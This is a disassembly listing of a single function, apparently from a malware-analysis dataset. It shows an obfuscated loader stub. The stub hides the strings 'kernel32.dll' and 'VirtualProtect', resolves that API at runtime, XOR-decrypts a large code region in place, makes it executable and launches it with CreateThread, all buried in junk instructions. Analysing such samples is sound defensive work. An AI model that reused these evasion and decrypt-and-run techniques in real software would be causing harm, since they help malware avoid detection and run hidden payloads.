Function at 0x855138
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
inc edi
dec edi
popfd
pushfd
push 0x17e4316
add esp, 4
popfd
call fcn.00855552
pushfd
push 0x14d61386
add esp, 4
popfd
pushfd
xor eax, 0x6a5aa79e
xor eax, 0x6a5aa79e
popfd
lea eax, [ebp - 0xd8]
pushfd
push 0xc6b3687
add esp, 4
popfd
pushfd
xor eax, 0x90e319eb
xor eax, 0x90e319eb
popfd
mov ebx, 0x61
push eax
push edi
pop edi
pop eax
add bx, 0xa
xchg esi, esi
mov word [eax], bx
pushfd
xor edx, 0x407fc8c0
xor edx, 0x407fc8c0
popfd
sub bx, 6
mov eax, eax
mov word [eax + 2], bx
pushfd
push 0xfaa047cc
add esp, 4
popfd
add bx, 0xd
pushfd
inc eax
dec eax
popfd
mov word [eax + 4], bx
pushfd
push ecx
add esp, 4
popfd
sub bx, 4
pushfd
xor ebx, 0x9d5f0c78
xor ebx, 0x9d5f0c78
popfd
pushfd
xor eax, 0x9487d8ce
xor eax, 0x9487d8ce
popfd
mov word [eax + 6], bx
push ecx
pop ecx
sub bx, 9
mov edx, edx
pushfd
push 0xff5b717f
add esp, 4
popfd
mov word [eax + 8], bx
pushfd
push edx
add esp, 4
popfd
add bx, 7
pushfd
inc edx
dec edx
popfd
mov word [eax + 0xa], bx
pushfd
push 0xfdbd2c8e
add esp, 4
popfd
sub bx, 0x39
xchg ecx, ebx
xchg ebx, ecx
mov word [eax + 0xc], bx
push eax
pop eax
dec bx
push eax
push ebx
pop ebx
pop eax
push eax
pop eax
mov word [eax + 0xe], bx
push edi
pop edi
push esi
push ecx
pop ecx
pop esi
sub bx, 4
push ecx
pop ecx
mov word [eax + 0x10], bx
xchg edx, edi
xchg edi, edx
pushfd
xor edi, 0x9bcd4d06
xor edi, 0x9bcd4d06
popfd
add bx, 0x36
push esi
pop esi
mov word [eax + 0x12], bx
pushfd
inc eax
dec eax
popfd
add bx, 8
xchg edx, edx
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 0x14], bx
pushfd
push 0x2fac49b9
add esp, 4
popfd
mov word [eax + 0x16], bx
pushfd
push edx
add esp, 4
popfd
pushfd
push 0xc3bdae4d
add esp, 4
popfd
mov word [eax + 0x18], 0
xchg edx, ecx
xchg ecx, edx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push ecx
pop ecx
mov dword [ebp - 0x10], eax
pushfd
push esi
add esp, 4
popfd
lea eax, [ebp - 0xd8]
pushfd
push 0xa39e9e61
add esp, 4
popfd
mov ebx, 0x61
push esi
pop esi
push edx
pop edx
sub bl, 0xb
push edi
pop edi
xchg ebx, edi
xchg edi, ebx
mov byte [eax], bl
mov ebx, ebx
push edi
pop edi
add bl, 0x13
mov ebx, ebx
pushfd
xor ebx, 0x8e383986
xor ebx, 0x8e383986
popfd
mov byte [eax + 1], bl
push eax
push ecx
pop ecx
pop eax
add bl, 9
xchg edx, edi
xchg edi, edx
push esi
pop esi
mov byte [eax + 2], bl
pushfd
xor esi, 0x726c8da
xor esi, 0x726c8da
popfd
add bl, 2
pushfd
push 0x45a0248e
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
push 0x43c10192
add esp, 4
popfd
push ebx
pop ebx
inc bl
push esi
push ecx
pop ecx
pop esi
mov byte [eax + 4], bl
pushfd
push eax
add esp, 4
popfd
push ecx
push esi
pop esi
pop ecx
sub bl, 0x14
xchg esi, esi
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 5], bl
pushfd
inc esi
dec esi
popfd
xchg ecx, ecx
add bl, 0xb
pushfd
push 0x1b1305a6
add esp, 4
popfd
pushfd
push 0x4106f428
add esp, 4
popfd
mov byte [eax + 6], bl
xchg ebx, edx
xchg edx, ebx
sub bl, 0x1c
mov ecx, ecx
mov byte [eax + 7], bl
xchg ebx, ebx
xchg ebx, ebx
add bl, 0x22
xchg ebx, ecx
xchg ecx, ebx
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 8], bl
push ecx
push edi
pop edi
pop ecx
sub bl, 3
pushfd
xor esi, 0x5254dd7b
xor esi, 0x5254dd7b
popfd
pushfd
xor edi, 0x12096a79
xor edi, 0x12096a79
popfd
mov byte [eax + 9], bl
pushfd
xor eax, 0x37ec0f12
xor eax, 0x37ec0f12
popfd
add bl, 5
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0xa], bl
pushfd
push 0x2e5efa3b
add esp, 4
popfd
sub bl, 0xf
pushfd
push 0x51a12f86
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
mov byte [eax + 0xb], bl
pushfd
inc edx
dec edx
popfd
mov ecx, ecx
sub bl, 2
xchg esi, esi
push eax
push edx
pop edx
pop eax
mov byte [eax + 0xc], bl
pushfd
push 0x3fed3348
add esp, 4
popfd
pushfd
xor eax, 0xdb388c24
xor eax, 0xdb388c24
popfd
add bl, 0x11
xchg edi, edi
push eax
pop eax
mov byte [eax + 0xd], bl
push ebx
push ecx
pop ecx
pop ebx
mov byte [eax + 0xe], 0
pushfd
inc esi
dec esi
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push ecx
add esp, 4
popfd
mov dword [ebp - 0xc], eax
mov edx, edx
lea eax, [ebp - 8]
xchg ecx, ecx
push eax
push 4
push 0x2e2b71
push entry0
call dword [ebp - 0xc]
push edx
pop edx
xchg ecx, eax
xchg ecx, eax
mov edi, entry0
push ebx
push edi
pop edi
pop ebx
pushfd
inc ecx
dec ecx
popfd
mov esi, 0x40100e
pushfd
inc eax
dec eax
popfd
mov ecx, 0x2e2b71
nop
push ecx
pop ecx
mov edx, 0x913d3e8d
pushfd
push 0xc927c38
add esp, 4
popfd
xchg edx, eax
xchg edx, eax
mov ebx, 0xe464e23e
push esi
push ebx
pop ebx
pop esi
cld
mov ecx, ecx
lodsb al, byte [esi]
xchg esi, esi
xor al, dl
mov edx, edx
stosb byte es:[edi], al
nop
ror edx, 5
xchg ebx, ebx
imul edx, edx, 7
mov edi, edi
test ebx, 1
mov edi, edi
je 0x8554ae
mov edx, edx
add esi, 1
mov esi, esi
ror ebx, 1
mov ecx, ecx
dec ecx
mov eax, eax
test ecx, ecx
mov edi, edi
jne 0x855488
mov eax, eax
xchg esi, esi
lea eax, [ebp - 8]
pushfd
inc edx
dec edx
popfd
push eax
push 0x20
push 0x2e2b71
push entry0
call dword [ebp - 0xc]
pushfd
push 0xed28d7c7
add esp, 4
popfd
lea eax, [ebp - 4]
pushfd
xor edi, 0x43744459
xor edi, 0x43744459
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push 0xb1ad7c6f
add esp, 4
popfd
pushfd
xor edx, 0x577779a2
xor edx, 0x577779a2
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg ecx, edi
xchg edi, ecx
push eax
push ecx
pop ecx
pop eax
jmp 0x85550f